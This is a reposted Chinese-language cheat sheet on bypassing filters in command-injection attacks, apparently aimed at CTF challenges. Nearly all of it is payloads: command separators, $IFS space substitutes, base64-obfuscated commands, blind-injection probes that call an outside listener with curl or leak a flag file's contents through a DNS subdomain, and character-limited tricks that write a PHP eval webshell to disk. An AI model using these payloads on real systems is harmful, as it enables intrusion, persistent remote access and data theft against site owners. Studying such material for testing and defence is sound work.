【转载】命令执行 绕过方法
转载:https://www.fujieace.com/penetration-test/command-bypass.html
一、命令执行的分隔符
换行符 %0a
回车符 %0d
管道符 |
连续指令 ;
后台进程 &
逻辑 || &&
<?php #?1=123%0apwd $rse = "echo"; system($rse.$_GET[1]);
二、命令执行的空格代替
<符号
$IFS
${IFS}
$IFS$9 $9指传过来的第9个参数
%09用于url传递
三、命令执行的绕过
a=l;b=s;$a$b
会以"ls"命令执行
base64编码
`echo d2hvYW1p | base64 -d`
d2hvYW1p解码后是whoami base64 -d 解密 `` 对解密这个结果再去执行命令
四、命令执行的各种符号
"substr string pos len"用法示例。
该表达式是从string中取出从pos位置开始长度为len的字字符串。如果pos或len为非正整数时,将返回空字符串。
echo "${PATH:0:1}
echo "${SESSION_MANAGER}"
echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
expr${IFS}substr${IFS}SESSION_MANAGER${IFS}1${IFS}1
五、命令执行无回显判断方法
index.php?1=ls|sleep 5
nc -lv 80000 #监听
index.php?1=ls|curl 192.168.1.102:8000
index.php?ping=;`cat where_is_flag.php|sed s/[[:space:]]//`.php.wzrtbq.ceye.io
六、15位可控字符下的任意命令执行
echo \<?php >1 echo eval\(>>1 echo \$_GET>>1 echo \[1\]>>1 echo \)\;>>1
七、7位可控字符下的任意命令执行
ls > a 文件名写入a
欠缺,顺序
ls命令:长命令 \ 换行分隔
l\
s
假设我产要写入<?php echo phpinfo(); echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php w>hp w>1.p\\ w>d\>\\ w>\-\\ w>e64\\ w>bas\\ w>=\|\\ w>w=\\ w>gpO\\ w>mby\\ w>aW5\\ w>Ghw\\ w>Agc\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t>0 sh 0
八、5位可控字符下的任意命令执行
ls -t>0 超过了5位
>ls\\ ls>a >\ \\ >-t\\ >\>0 ls>>a sh a
九、4位可控字符下的任意命令执行
ls -t>0 超过了4位
echo *
echo *a
abcd a
>f\> >ht- >sl >dir *>v >rev *v>0 cat 0


浙公网安备 33010602011771号